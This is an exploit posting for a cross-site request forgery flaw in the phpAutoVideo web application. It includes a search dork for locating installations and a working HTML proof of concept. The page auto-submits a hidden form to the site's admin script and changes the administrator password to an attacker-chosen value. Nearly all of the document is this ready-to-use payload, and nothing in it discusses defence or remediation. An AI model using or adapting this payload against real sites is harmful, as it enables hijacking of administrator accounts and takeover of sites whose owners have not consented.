phpAutoVideo – Cross-Site Request Forgery
################################################################## #Exploit Title: phpAutoVideo csrf # #SoftWare:https://secure.agaresmedia.com/v6/products/phpautovideo# #Dork: Copyright Agares Media phpautovideo # #Author: GoLdeN-z3r0 # ################################################################## (-----------------------------------------------------------------) | PoC : | (-----------------------------------------------------------------) <html> <body onload="document.registrationform.submit()"> <form action="http://[site]/admin/coreadmin.php" method="post" name="registrationform"> <input type="hidden" name="admintype" value="changepass"> <input type="hidden" name="passworda" value="z3r0"> <input type="hidden" name="passwordb" value="z3r0"> </form> </body> </html> |